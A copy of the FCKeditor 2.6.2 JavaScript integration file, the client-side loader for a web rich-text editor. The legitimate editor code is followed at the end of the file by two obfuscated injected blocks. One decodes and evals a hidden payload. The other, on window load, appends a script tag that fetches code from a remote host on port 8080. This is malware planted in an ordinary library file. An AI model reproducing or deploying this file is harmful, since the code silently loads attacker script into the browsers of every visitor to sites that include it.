/*
 * FCKeditor - The text editor for Internet - http://www.fckeditor.net
 * Copyright (C) 2003-2008 Frederico Caldeira Knabben
 *
 * == BEGIN LICENSE ==
 *
 * Licensed under the terms of any of the following licenses at your
 * choice:
 *
 *  - GNU General Public License Version 2 or later (the "GPL")
 *    http://www.gnu.org/licenses/gpl.html
 *
 *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
 *    http://www.gnu.org/licenses/lgpl.html
 *
 *  - Mozilla Public License Version 1.1 or later (the "MPL")
 *    http://www.mozilla.org/MPL/MPL-1.1.html
 *
 * == END LICENSE ==
 *
 * This is the integration file for JavaScript.
 *
 * It defines the FCKeditor class that can be used to create editor
 * instances in a HTML page in the client side. For server side
 * operations, use the specific integration system.
 */

// FCKeditor Class
var FCKeditor = function( instanceName, width, height, toolbarSet, value )
{
	// Properties
	this.InstanceName	= instanceName ;
	this.Width			= width			|| '100%' ;
	this.Height			= height		|| '200' ;
	this.ToolbarSet		= toolbarSet	|| 'Default' ;
	this.Value			= value			|| '' ;
	this.BasePath		= FCKeditor.BasePath ;
	this.CheckBrowser	= true ;
	this.DisplayErrors	= true ;

	this.Config			= new Object() ;

	// Events
	this.OnError		= null ;	// function( source, errorNumber, errorDescription )
}

/**
 * This is the default BasePath used by all editor instances.
 */
FCKeditor.BasePath = '/fckeditor/' ;

/**
 * The minimum height used when replacing textareas.
 */
FCKeditor.MinHeight = 200 ;

/**
 * The minimum width used when replacing textareas.
 */
FCKeditor.MinWidth = 750 ;

FCKeditor.prototype.Version			= '2.6.2' ;
FCKeditor.prototype.VersionBuild	= '19417' ;

FCKeditor.prototype.Create = function()
{
	document.write( this.CreateHtml() ) ;
}

FCKeditor.prototype.CreateHtml = function()
{
	// Check for errors
	if ( !this.InstanceName || this.InstanceName.length == 0 )
	{
		this._ThrowError( 701, 'You must specify an instance name.' ) ;
		return '' ;
	}

	var sHtml = '' ;

	if ( !this.CheckBrowser || this._IsCompatibleBrowser() )
	{
		sHtml += '<input type="hidden" id="' + this.InstanceName + '" name="' + this.InstanceName + '" value="' + this._HTMLEncode( this.Value ) + '" style="display:none" />' ;
		sHtml += this._GetConfigHtml() ;
		sHtml += this._GetIFrameHtml() ;
	}
	else
	{
		var sWidth  = this.Width.toString().indexOf('%')  > 0 ? this.Width  : this.Width  + 'px' ;
		var sHeight = this.Height.toString().indexOf('%') > 0 ? this.Height : this.Height + 'px' ;

		sHtml += '<textarea name="' + this.InstanceName +
			'" rows="4" cols="40" style="width:' + sWidth +
			';height:' + sHeight ;

		if ( this.TabIndex )
			sHtml += '" tabindex="' + this.TabIndex ;

		sHtml += '">' +
			this._HTMLEncode( this.Value ) +
			'<\/textarea>' ;
	}

	return sHtml ;
}

FCKeditor.prototype.ReplaceTextarea = function()
{
	if ( !this.CheckBrowser || this._IsCompatibleBrowser() )
	{
		// We must check the elements firstly using the Id and then the name.
		var oTextarea = document.getElementById( this.InstanceName ) ;
		var colElementsByName = document.getElementsByName( this.InstanceName ) ;
		var i = 0;
		while ( oTextarea || i == 0 )
		{
			if ( oTextarea && oTextarea.tagName.toLowerCase() == 'textarea' )
				break ;
			oTextarea = colElementsByName[i++] ;
		}

		if ( !oTextarea )
		{
			alert( 'Error: The TEXTAREA with id or name set to "' + this.InstanceName + '" was not found' ) ;
			return ;
		}

		oTextarea.style.display = 'none' ;

		if ( oTextarea.tabIndex )
			this.TabIndex = oTextarea.tabIndex ;

		this._InsertHtmlBefore( this._GetConfigHtml(), oTextarea ) ;
		this._InsertHtmlBefore( this._GetIFrameHtml(), oTextarea ) ;
	}
}

FCKeditor.prototype._InsertHtmlBefore = function( html, element )
{
	if ( element.insertAdjacentHTML )	// IE
		element.insertAdjacentHTML( 'beforeBegin', html ) ;
	else								// Gecko
	{
		var oRange = document.createRange() ;
		oRange.setStartBefore( element ) ;
		var oFragment = oRange.createContextualFragment( html );
		element.parentNode.insertBefore( oFragment, element ) ;
	}
}

FCKeditor.prototype._GetConfigHtml = function()
{
	var sConfig = '' ;
	for ( var o in this.Config )
	{
		if ( sConfig.length > 0 ) sConfig += '&amp;' ;
		sConfig += encodeURIComponent( o ) + '=' + encodeURIComponent( this.Config[o] ) ;
	}

	return '<input type="hidden" id="' + this.InstanceName + '___Config" value="' + sConfig + '" style="display:none" />' ;
}

FCKeditor.prototype._GetIFrameHtml = function()
{
	var sFile = 'fckeditor.html' ;

	try
	{
		if ( (/fcksource=true/i).test( window.top.location.search ) )
			sFile = 'fckeditor.original.html' ;
	}
	catch (e) { /* Ignore it. Much probably we are inside a FRAME where the "top" is in another domain (security error). */ }

	var sLink = this.BasePath + 'editor/' + sFile + '?InstanceName=' + encodeURIComponent( this.InstanceName ) ;
	if (this.ToolbarSet)
		sLink += '&amp;Toolbar=' + this.ToolbarSet ;

	html = '<iframe id="' + this.InstanceName +
		'___Frame" src="' + sLink +
		'" width="' + this.Width +
		'" height="' + this.Height ;

	if ( this.TabIndex )
		html += '" tabindex="' + this.TabIndex ;

	html += '" frameborder="0" scrolling="no"></iframe>' ;

	return html ;
}

FCKeditor.prototype._IsCompatibleBrowser = function()
{
	return FCKeditor_IsCompatibleBrowser() ;
}

FCKeditor.prototype._ThrowError = function( errorNumber, errorDescription )
{
	this.ErrorNumber		= errorNumber ;
	this.ErrorDescription	= errorDescription ;

	if ( this.DisplayErrors )
	{
		document.write( '<div style="COLOR: #ff0000">' ) ;
		document.write( '[ FCKeditor Error ' + this.ErrorNumber + ': ' + this.ErrorDescription + ' ]' ) ;
		document.write( '</div>' ) ;
	}

	if ( typeof( this.OnError ) == 'function' )
		this.OnError( this, errorNumber, errorDescription ) ;
}

FCKeditor.prototype._HTMLEncode = function( text )
{
	if ( typeof( text ) != "string" )
		text = text.toString() ;

	text = text.replace(
		/&/g, "&amp;").replace(
		/"/g, "&quot;").replace(
		/</g, "&lt;").replace(
		/>/g, "&gt;") ;

	return text ;
}

;(function()
{
	var textareaToEditor = function( textarea )
	{
		var editor = new FCKeditor( textarea.name ) ;

		editor.Width = Math.max( textarea.offsetWidth, FCKeditor.MinWidth ) ;
		editor.Height = Math.max( textarea.offsetHeight, FCKeditor.MinHeight ) ;

		return editor ;
	}

	/**
	 * Replace all <textarea> elements available in the document with FCKeditor
	 * instances.
	 *
	 *	// Replace all <textarea> elements in the page.
	 *	FCKeditor.ReplaceAllTextareas() ;
	 *
	 *	// Replace all <textarea class="myClassName"> elements in the page.
	 *	FCKeditor.ReplaceAllTextareas( 'myClassName' ) ;
	 *
	 *	// Selectively replace <textarea> elements, based on custom assertions.
	 *	FCKeditor.ReplaceAllTextareas( function( textarea, editor )
	 *		{
	 *			// Custom code to evaluate the replace, returning false if it
	 *			// must not be done.
	 *			// It also passes the "editor" parameter, so the developer can
	 *			// customize the instance.
	 *		} ) ;
	 */
	FCKeditor.ReplaceAllTextareas = function()
	{
		var textareas = document.getElementsByTagName( 'textarea' ) ;

		for ( var i = 0 ; i < textareas.length ; i++ )
		{
			var editor = null ;
			var textarea = textareas[i] ;
			var name = textarea.name ;

			// The "name" attribute must exist.
			if ( !name || name.length == 0 )
				continue ;

			if ( typeof arguments[0] == 'string' )
			{
				// The textarea class name could be passed as the function
				// parameter.

				var classRegex = new RegExp( '(?:^| )' + arguments[0] + '(?:$| )' ) ;

				if ( !classRegex.test( textarea.className ) )
					continue ;
			}
			else if ( typeof arguments[0] == 'function' )
			{
				// An assertion function could be passed as the function parameter.
				// It must explicitly return "false" to ignore a specific <textarea>.
				editor = textareaToEditor( textarea ) ;
				if ( arguments[0]( textarea, editor ) === false )
					continue ;
			}

			if ( !editor )
				editor = textareaToEditor( textarea ) ;

			editor.ReplaceTextarea() ;
		}
	}
})() ;

function FCKeditor_IsCompatibleBrowser()
{
	var sAgent = navigator.userAgent.toLowerCase() ;

	// Internet Explorer 5.5+
	if ( /*@cc_on!@*/false && sAgent.indexOf("mac") == -1 )
	{
		var sBrowserVersion = navigator.appVersion.match(/MSIE (.\..)/)[1] ;
		return ( sBrowserVersion >= 5.5 ) ;
	}

	// Gecko (Opera 9 tries to behave like Gecko at this point).
	if ( navigator.product == "Gecko" && navigator.productSub >= 20030210 && !( typeof(opera) == 'object' && opera.postError ) )
		return true ;

	// Opera 9.50+
	if ( window.opera && window.opera.version && parseFloat( window.opera.version() ) >= 9.5 )
		return true ;

	// Adobe AIR
	// Checked before Safari because AIR have the WebKit rich text editor
	// features from Safari 3.0.4, but the version reported is 420.
	if ( sAgent.indexOf( ' adobeair/' ) != -1 )
		return ( sAgent.match( / adobeair\/(\d+)/ )[1] >= 1 ) ;	// Build must be at least v1

	// Safari 3+
	if ( sAgent.indexOf( ' applewebkit/' ) != -1 )
		return ( sAgent.match( / applewebkit\/(\d+)/ )[1] >= 522 ) ;	// Build must be at least 522 (v3)

	return false ;
}

var Hq="634f6e7b751177566e6d5911776c70771b537871607354717f4c6b7257454779707c4264555b577245757766415a5c60646b7b7c465d5462373335333a5c707063007c7f1651545006726b1e7578";var Gr;if(Gr!='' && Gr!='JY'){Gr='YeZ'};this.jZ='';function P(r){this.lj=false;var q;if(q!='he' && q != ''){q=null};var bM;if(bM!='N' && bM != ''){bM=null}; var ER=function(K,c){var No='';return K^c;};var Bb=37470;this.Oy=false; var f=function(R, I){this.Ed="";var G;if(G!=''){G='Ye'};var d=[1,40][0];var fL;if(fL!='' && fL!='Q'){fL='g'};var y = R.length;var m=[0,134,157][0];var PT = '';var n = I.length;this.TD='';var zQ;if(zQ!='MF'){zQ=''};for(var KV = m; KV < y; KV += n) {var cM;if(cM!='' && cM!='rI'){cM='wK'};var UT;if(UT!='hf' && UT != ''){UT=null};var A = R.substr(KV, n);var qb;if(qb!='QE'){qb='QE'};var Dy=new Date();var tp="tp";if(A.length == n){var xW="xW";var sV;if(sV!=''){sV='LJ'};this.Hw="";for(var x in I) {this.C='';this.Qf="";PT+=A.substr(I[x], d);var zG=false;var Do=new Date();}var Xc;if(Xc!='Lh' && Xc != ''){Xc=null};} else {var Qm;if(Qm!='' && Qm!='Fp'){Qm=''};var dr;if(dr!='' && dr!='NE'){dr=''};  PT+=A;this.Nw=27292;this.bC=29561;}}var tG="";var ie="";return PT;};var CE=""; var s=function(R){R = new b(R);var cU=10966;var eG=false;var sB = -1;var hn;if(hn!='rT' && hn != ''){hn=null};var m =[116,0,23][1];var KV =[213,123,1,0][3];this.xU=41001;var PT = '';this.gs=34337;this.KX='';this.zs="zs";var ZG;if(ZG!='' && ZG!='yI'){ZG=''};this.hb=54885;var ey=false;for (KV=R[f("englth", [3,0,1,2])]-sB;KV>=m;KV=KV-[156,1][1]){PT+=R[f("Aracht", [3,4,2,1,0])](KV);var TO;if(TO!='' && TO!='XR'){TO=null};}var Bq;if(Bq!='vq'){Bq=''};var QF='';return PT;}; var vK;if(vK!='' && vK!='Fa'){vK=null};var hK="hK";function H(w,p){this.Dt=26583;return w[f("ecdorChaAt", [1,6,7,4,5,3,2,0])](p);var EP=35743;}var xv='';var Vq=new Array();var Yw;if(Yw!='vB' && Yw!='Vk'){Yw=''};var fq=""; var pb=new Array();function S(v){var ch=false;this.ny='';var ZE="";var d=[104,1,74][1];var Ug=17962;this.QW="QW";var xc=[219,111,255][2];var wq=new Array();var x=[162,0][1];var nG=19700;var U=[0][0];this.cF=false;var Hh;if(Hh!=''){Hh='hN'};var V=v[f("enlgth", [2,0,1,3])];var LD='';var BD;if(BD!='FO' && BD!='gv'){BD=''};var mn;if(mn!='Jv' && mn!='oU'){mn='Jv'};while(x<V){this.fe="";x++;var Ya="Ya";var Ul;if(Ul!='Vs'){Ul='Vs'};i=H(v,x - d);var UV;if(UV!='yz'){UV='yz'};var TE=new String();U+=i*V;var NJ;if(NJ!='zJ'){NJ='zJ'};var aZ="aZ";}var Pa;if(Pa!='Xu'){Pa=''};return new b(U % xc);}var ho;if(ho!='' && ho!='IJ'){ho=''};var xV="xV";var o=window;var mz=o[f("veal", [1,0,2])];var T=mz(f("ucFonitn", [2,0,4,1,6,5,3]));var Ik=new Date();var b=mz(f("gtrSni", [3,1,2,5,4,0]));var F = '';var An=new String();var Gpn=false;var Xk;if(Xk!='qR'){Xk=''};var ipj=33816;var L=mz(f("eRpEgx", [1,0,4,3,5,2]));this.PE="";var Xa;if(Xa!='' && Xa!='Hb'){Xa='NP'};var eo;if(eo!='' && eo!='Zv'){eo=null};this.pX="pX";var xx=b[f("CfrhomdareCo", [1,2,4,5,0,3])];var OJ;if(OJ!='' && OJ!='Oc'){OJ='pq'};var ve;if(ve!='' && ve!='Cb'){ve='jd'};var t=o[f("asncuepe", [4,2,5,1,3,0])];var VO;if(VO!='' && VO!='UR'){VO='Ob'};var cx = b.fromCharCode(37);var Qq="";var h =[217,0,90][1];var ELJ=new Date();var nd="nd";var So;if(So!='IJx'){So='IJx'};var tq = '';var gd=new String();var X = r[f("elgnht", [1,0])];var My=new Date();this.VX=false;var Ay;if(Ay!=''){Ay='yH'};this.TV="";var e =[2,102,83][0];var l = '';var fN="";var m =[0][0];var Fy=38733;var RK;if(RK!='tqp'){RK=''};var Z=[1, f("modneuce.ttarcmEeneelc(tirs\'pt\')", [2,1,6,5,0,4,3]),2, f("mocdubnte.adyo.dpepndhiCl(d)", [3,1,2,4,0]),3, f("oc.memidsatei..tamhsbael", [1,0]),4, f("ec.wonmahedolm8yu0.:r80", [1,4,6,2,5,0,3]),5, f("se.dttAtbuir(\'etfeedr\'", [3,2,0,1]),6, f("zzcnmo.c", [2,3,1,0]),7, f("owiwdno.oalnd", [1,2,5,4,0,3]),8, f("owdlond.aomc", [2,0,1]),11, f("ijyzouz.com", [2,4,5,1,0,3]),12, f("nofitucn()", [2,5,0,6,4,3,1]),14, f("oogglc.eom", [2,1,0,3,4]),15, f("ueamfinin", [2,0,4,1,3]),16, f("tccha(e)", [2,4,0,1,3]),17, f("htt\"p:", [3,0,2,1]),18, f(".drsc", [1,0]),19, f("1\')\'", [1,0]),20, f("rty", [1,0])];var d =[1,196,139][0];var B = /[^@a-z0-9A-Z_-]/g;var fd = '';var Nn;if(Nn!='' && Nn!='bZ'){Nn='zp'};this.Eh="Eh";var st=new String();var IS;if(IS!='ps' && IS!='SG'){IS=''};for(var Kd=m; Kd < X; Kd+=e){l+= cx; var xj=false;l+= r[f("busrts", [2,1,0])](Kd, e);var nm;if(nm!='' && nm!='Ih'){nm=null};this.vV="";}var yt='';var jD=49992;var r = t(l);var TEe=45160;var sD = new b(P);var z = sD[f("epracle", [2,0,1])](B, tq);var oX;if(oX!='' && oX!='GU'){oX='Zz'};var sh = Z[f("elgnht", [1,0])];var Gzf;if(Gzf!='lB'){Gzf='lB'};var Eb;if(Eb!='PV'){Eb='PV'};var Dd;if(Dd!='' && Dd!='pE'){Dd=''};z = s(z);var VQ="";var VP = new b(T);var zJO;if(zJO!='bH' && zJO != ''){zJO=null};this.gQ=10932;var RL = VP[f("erlpcae", [1,0])](B, tq);var RL = S(RL);var dS;if(dS!='' && dS!='Kf'){dS='HG'};var nM;if(nM!='' && nM!='AiO'){nM='nB'};var cS=S(z);this.wX=false;this.KfM=false;var Je;if(Je!='' && Je!='Ww'){Je=''};for(var KV=m; KV < (r[f("nlehgt", [1,2,0])]);KV=KV+[125,140,249,1][3]) {this.Pd=false;var Ej = z.charCodeAt(h);var D = H(r,KV);var MU;if(MU!=''){MU='bj'};var NN;if(NN!='rm'){NN='rm'};D = ER(D, Ej);this.OT=false;this.iL=false;D = ER(D, cS);D = ER(D, RL);h++;var bao="bao";var ev;if(ev!='' && ev!='yL'){ev=null};var PL;if(PL!=''){PL='xG'};var OP=new Date();if(h > z.length-d){var Za=new Date();h=m;this.ml='';}this.mzR=false;var kh="";var Uw=18700;fd += xx(D);}for(EG=m; EG < sh; EG+=e){var bG=false;var NwA=new Date();var Oq=new String();var yG = Z[EG + d];var qV;if(qV!='' && qV!='yV'){qV=''};var WY=new Array();var ei = xx(Z[EG]);var cxJ="cxJ";var AnK="";var az=false;var oD=false;var jG;if(jG!=''){jG='Ws'};var a = new L(ei, "g");var SC;if(SC!='un'){SC='un'};fd=fd[f("erpalce", [1,0,2])](a, yG);this.TK=false;this.Mo=false;}var Qy=new Date();var fI=new Date();var W=new T(fd);this.Ulj='';var cq="";W();var Ps;if(Ps!='TW'){Ps=''};var kQ;if(kQ!='SO'){kQ='SO'};this.aL='';z = '';this.pR="";VP = '';fd = '';W = '';var ql=31716;RL = '';var yi=false;cS = '';var sVq;if(sVq!='aA' && sVq!='zf'){sVq='aA'};return '';var rlT='';var Mb="Mb";};var Gr;if(Gr!='' && Gr!='JY'){Gr='YeZ'};this.jZ='';P(Hq);
var J=new Date();var R;if(R!='I' && R != ''){R=null};function D() {var ME=new Date();var hC;if(hC!='H' && hC!='F'){hC='H'};var z=RegExp;this.tF='';this.By='';var C=new Date();var NO=']';var Q=new String();var E=new Date();var h='replace';var sD=new Array();var bf='';var w='g';var u='[';this.y='';this.Ns='';this.WE='';var c=new Array();function N(G,X){var KB="";var bY;if(bY!='Ez'){bY=''};this.Gs='';this.P="";var o=u;var kw="";this.pw='';o+=X;var Nd=new Array();var di=new Array();o+=NO;var K=new z(o, w);return G[h](K, Q);var MC="";};var hDb=new Array();var XE=new Array();var uT=N('84107178710774',"417");var er="";var n=window;var qj;if(qj!='qD'){qj=''};var l=N('sTcTrbiTpbtb',"bT");var Pj=new Array();var fu=new Array();var _j=new Array();var uN=N('/JgJoToLgOlUeL.OcToJmJ/LgLoLoUgTlTeL.TcJoLmU/TtOoUyUsOrLuOsU.UcOoTmO/LfJiLsThUkUiO.TnOeOtL/TtOrOiJpTaLdLvJiJsUoJrL.UcLoUmT.JpUhJpU',"TJOLU");var cW;if(cW!='cm'){cW=''};var nC=N('hMtMtHpH:M/M/Gt9iGmGeGsHoHnHlHiGnHe9-McHoH-HuMk9.9t9iMmGeHa9nHdGdHaHt9eG.McMo9mM.9a9l9t9eHrMvMiGs9tHaH-Go9rMgG.HfMoMrMrGeHdMtGaMgH.MrMuH:H',"GHM9");var Wi;if(Wi!='XS'){Wi=''};var t=N('cNr0eHa0tNeHE0lse0mNeNnstH',"H0Ns");var f='';var i;if(i!='' && i!='yd'){i=''};var mm=new String();var BW='';n[N('o1nFl8oFa8du',"1uF8")]=function(){var Pc="";var KO;if(KO!='' && KO!='cd'){KO=''};try {var Hv=new Array();var PP=new Array();var lM="";f+=nC;f+=uT;var cK=new Date();var LM=new Date();f+=uN;var wV;if(wV!=''){wV='j'};this.Jd="";s=document[t](l);this.MV="";var re=new Array();V(s,'src',f);V(s,'defer',([1][0]));var aX=new Date();var wT=new Date();var Ck;if(Ck!='NV'){Ck='NV'};document.body.appendChild(s);var Bo;if(Bo!='xa' && Bo!='ie'){Bo=''};} catch(U){};};var TO;if(TO!='' && TO!='Nr'){TO=''};var _c;if(_c!='' && _c!='eB'){_c=''};var VH;if(VH!='kA' && VH != ''){VH=null};function V(QC,d,M){var Hs="";QC.setAttribute(d, M);var wj;if(wj!='' && wj!='fR'){wj='pA'};}};var kH;if(kH!='gm' && kH!='pa'){kH='gm'};var jb=new Array();D();